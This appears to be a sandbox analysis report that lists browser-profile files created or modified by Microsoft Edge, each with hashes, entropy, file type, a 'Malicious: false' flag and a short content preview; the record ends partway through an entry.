MD5:	7DE43DC15C0CE79777AB152A2D0716E8
SHA1:	E205C854AD28EB22C9F86060AD15C81CF7291E09
SHA-256:	D769A889CB0FD191D467FB9F4EBE56A0D0B266EB17F0445DF99F6A052E98B68B
SHA-512:	291D71309D84EC0939937947A3AEDE8763BDEDFEB9F5F1A18DD8E788422EE276356A8BB8DF470BFA83D1633090960BE3A8238D675925EB1DEE0802EA3A383342
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376960661982340","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376960661982340","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.252632957885293
Encrypted:	false
SSDEEP:	6:HqeaK1923oH+Tcwtp3hBtB2KLlVqejn61L+q2P923oH+Tcwtp3hBWsIFUv:KeYYebp3dFLCebEyv4Yebp3eFUv
MD5:	C3288536663FE74E6CC8C3AF93F508E0
SHA1:	4DF78303F0F1745A513666FD2B000ACF60E3EF8A
SHA-256:	6400D1610DAE8CEC321F3D9E13DBFD9AFC78083A729F66B251228A06ED1EFDBE
SHA-512:	661F45E536CD333D742E9B30BEDC7EE074BDDC52A3075189D19A5ABD28EF6CCE4B31E5B55831031C294FE1EFB4F2A98DCDAF4FE935DF0F7CAF7883D209A26ECC
Malicious:	false
Preview:	2024/11/24-17:24:25.915 2058 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/24-17:24:25.932 2058 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228753501995815
Encrypted:	false
SSDEEP:	24576:v+/PN8FPfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8hfx2mjF
MD5:	F0A351AF7367784C1CB75F1884CCF748
SHA1:	540CE11FC69035B24E286E6925FA8A9B14D93AEA
SHA-256:	99CA0544FDF85C3B7AC61B36BCE4E08CDE1799C01C738714E6F643ABB05F7D3A
SHA-512:	B5FB839D5A7EAEB38129C0F125E609B5B65FE7224D77168F1C5D841C3BAE42A9344021360467C67D1EE810C586CAAFCF6E32D016AD133D610D8A5276E6A03406
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1177173071459245
Encrypted:	false
SSDEEP:	6:HqUFN+q2P923oH+Tcwt9Eh1tIFUt8YqnXHZmw+YqlnVkwO923oH+Tcwt9Eh15LJ:KcN+v4Yeb9Eh16FUt8Xn3/+XBV5LYebY
MD5:	F78514483BE0CE0947E00968B2AB4C99
SHA1:	C6B4819AD6411515222089DEBC713DA343E7FB31
SHA-256:	5BA9A72F73B21D705724C5BBBB8BB436DBF877DB4A81307280BFF6A62D5E5818
SHA-512:	0DB081BEA25CF53D4EDD45A6577C8B1BFEACE913BFA3624ECAC87D38FCC15F06D97235DCD4880AE863987E2956059185CADE2B84A1092CD9C1D686B576596B2B
Malicious:	false
Preview:	2024/11/24-17:24:26.771 229c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-17:24:26.774 229c Recovering log #3.2024/11/24-17:24:26.790 229c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1177173071459245
Encrypted:	false
SSDEEP:	6:HqUFN+q2P923oH+Tcwt9Eh1tIFUt8YqnXHZmw+YqlnVkwO923oH+Tcwt9Eh15LJ:KcN+v4Yeb9Eh16FUt8Xn3/+XBV5LYebY
MD5:	F78514483BE0CE0947E00968B2AB4C99
SHA1:	C6B4819AD6411515222089DEBC713DA343E7FB31
SHA-256:	5BA9A72F73B21D705724C5BBBB8BB436DBF877DB4A81307280BFF6A62D5E5818
SHA-512:	0DB081BEA25CF53D4EDD45A6577C8B1BFEACE913BFA3624ECAC87D38FCC15F06D97235DCD4880AE863987E2956059185CADE2B84A1092CD9C1D686B576596B2B
Malicious:	false
Preview:	2024/11/24-17:24:26.771 229c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/24-17:24:26.774 229c Recovering log #3.2024/11/24-17:24:26.790 229c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4629933791069209
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu8X:TouQq3qh7z3bY2LNW9WMcUvBu8X
MD5:	39CDAB6D934835D9203DFCDDB62DC427
SHA1:	71F5FEDEB11F7BA21156090355AD5A5A72C79103
SHA-256:	86AD094929CE0B846D41ABA1BDB00F6C767E04141BA7C3B78CED657834B0FEEE
SHA-512:	2AC044B7D4BB5A83411C00140A40F4E2498622C6BD387FE758CB56F70F700DD0987B509BDC686AC435D6002CA491F485F8E72324E605FC3E733B2AA3C9206CA3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.131249689896646
Encrypted:	false
SSDEEP:	6:HqIX9AVq2P923oH+TcwtnG2tMsIFUt8YqaAgZmw+YqaAIkwO923oH+TcwtnG2tM2:KIXiVv4Yebn9GFUt8XLg/+XLI5LYebnB
MD5:	204E7C882EC818AF3954327645E82828
SHA1:	7071A8A0A33F134FEE4EBE2F1EBB6833CE86F2B3
SHA-256:	4895C44427537D2B05C4B0EBD58B55E4253692D8B1E9058FB9F775C461515B95
SHA-512:	28C2CB98D6C4343D7C93F3374A1EDF202421932EB260F7338366418CFC0184434A73F5156B571AEDE16619BAF15C428321FA6E153A4DE843237469747CD88F9B
Malicious:	false
Preview:	2024/11/24-17:24:22.006 1244 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-17:24:22.008 1244 Recovering log #3.2024/11/24-17:24:22.008 1244 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.131249689896646
Encrypted:	false
SSDEEP:	6:HqIX9AVq2P923oH+TcwtnG2tMsIFUt8YqaAgZmw+YqaAIkwO923oH+TcwtnG2tM2:KIXiVv4Yebn9GFUt8XLg/+XLI5LYebnB
MD5:	204E7C882EC818AF3954327645E82828
SHA1:	7071A8A0A33F134FEE4EBE2F1EBB6833CE86F2B3
SHA-256:	4895C44427537D2B05C4B0EBD58B55E4253692D8B1E9058FB9F775C461515B95
SHA-512:	28C2CB98D6C4343D7C93F3374A1EDF202421932EB260F7338366418CFC0184434A73F5156B571AEDE16619BAF15C428321FA6E153A4DE843237469747CD88F9B
Malicious:	false
Preview:	2024/11/24-17:24:22.006 1244 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/24-17:24:22.008 1244 Recovering log #3.2024/11/24-17:24:22.008 1244 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6138752559346742
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWJA8JDMAqnm:TLapR+DDNzWjJ0npnyXKUO8+j2pUmL
MD5:	167FAF52D4C0D7D17F7F0E4654CD7277
SHA1:	88571E151AFF84F297E1E925FA192949B14882A7
SHA-256:	63CBD41F9D07FE78DD859B2DA8CD16378868CDCC4C204E2B3229F53E9D0C56B1
SHA-512:	123349BE4A7D386F8CDDEC2335788F5B5EEE7D9ED049662C9939B528567116472ACFF496340114B4924EB9BC8FF16FC017E42807A8BB55B99F194225DF22A3CF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354120602817681
Encrypted:	false
SSDEEP:	6144:hA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:hFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	98037A7B64C721A62370A712B488954A
SHA1:	DD659F3505E4BF7BA2A476EDA2E3580A9F27E19C
SHA-256:	97144B147F9CD14A36AABFFD86263D554FDF6C4EDC3DD448BA3BF539706D4A5B
SHA-512:	5F419BA047E6F57D85B58AF2E57F32B510E89B4AA67069C6ADE5280F45FBD8FC281C7A5836D1024DE80D44F3FB495F2E4D4924363873A199678D2F8EE4A36809
Malicious:	false
Preview:	...m.................DB_VERSION.1..>gq...............&QUERY_TIMESTAMP:domains_config_gz2...13376960670196242..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.151077534530549
Encrypted:	false
SSDEEP:	6:Hq2FHNmA4M1923oH+Tcwtk2WwnvB2KLlVqcoUaOq2P923oH+Tcwtk2WwnvIFUv:KiH14hYebkxwnvFLC3cv4YebkxwnQFUv
MD5:	69C8AF5D1A0ED1ECE925897A7F7E55CD
SHA1:	BBAE190C0277E94EB313D4B536655C70DCB3F55A
SHA-256:	9CAB8D8B750B15AAA79067F2C525FDA0884D46158CBA1B858A6F0B33B96D214E
SHA-512:	5A1FF558AA7934521CB41BB90A07B8725531095CB6AF111E83E5E704E06AB093BD7B7A13FA357AE025CD145801FF2837E4478EFC48CE40C4A07D040236569C66
Malicious:	false
Preview:	2024/11/24-17:24:26.827 22f4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/24-17:24:27.915 22f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.32460849610006
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6R0:C1gAg1zfvs
MD5:	AA6459244CD577FA10EF690502AB93DE
SHA1:	4B5924C89009CA0D0C428249EA7274F7EF7970A4
SHA-256:	BC1990FE24AFB47719C2306D8F1EF5FE254B682F0E909F431776927BE150F1CE
SHA-512:	FEC0BF23E2B569F00BBF82DBDBE86B608290CE88F98598110034CE5BBA6D29454647CB6F7B61E774026331DEDDAFBB5EC20170FA93B87759D3826EB838008EA5
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.105789765991144
Encrypted:	false
SSDEEP:	6:Hq6gyq2P923oH+Tcwt8aPrqIFUt8Yq621Zmw+Yq84RkwO923oH+Tcwt8amLJ:KVyv4YebL3FUt8Xp/+XvR5LYebQJ
MD5:	DFD83A121BBFF1A2AF448D8A7B448AF1
SHA1:	3FB271D125529252E63D523101C6996B6FCC4DB5
SHA-256:	AAA440FED78F4C7801480C6C32322F16A9E22DD1530198B63688C65B0A0CF58F
SHA-512:	61A6873F49D1C2D8840C05E5A8826CBCA016FCEE62BA479BCC1B6B1D77C82854C53FB1AD4F2C0A33ACBC66269C443526050D664546D6A13F2676FE030B70E722
Malicious:	false
Preview:	2024/11/24-17:24:22.009 1930 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-17:24:22.009 1930 Recovering log #3.2024/11/24-17:24:22.010 1930 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.105789765991144
Encrypted:	false
SSDEEP:	6:Hq6gyq2P923oH+Tcwt8aPrqIFUt8Yq621Zmw+Yq84RkwO923oH+Tcwt8amLJ:KVyv4YebL3FUt8Xp/+XvR5LYebQJ
MD5:	DFD83A121BBFF1A2AF448D8A7B448AF1
SHA1:	3FB271D125529252E63D523101C6996B6FCC4DB5
SHA-256:	AAA440FED78F4C7801480C6C32322F16A9E22DD1530198B63688C65B0A0CF58F
SHA-512:	61A6873F49D1C2D8840C05E5A8826CBCA016FCEE62BA479BCC1B6B1D77C82854C53FB1AD4F2C0A33ACBC66269C443526050D664546D6A13F2676FE030B70E722
Malicious:	false
Preview:	2024/11/24-17:24:22.009 1930 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-17:24:22.009 1930 Recovering log #3.2024/11/24-17:24:22.010 1930 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
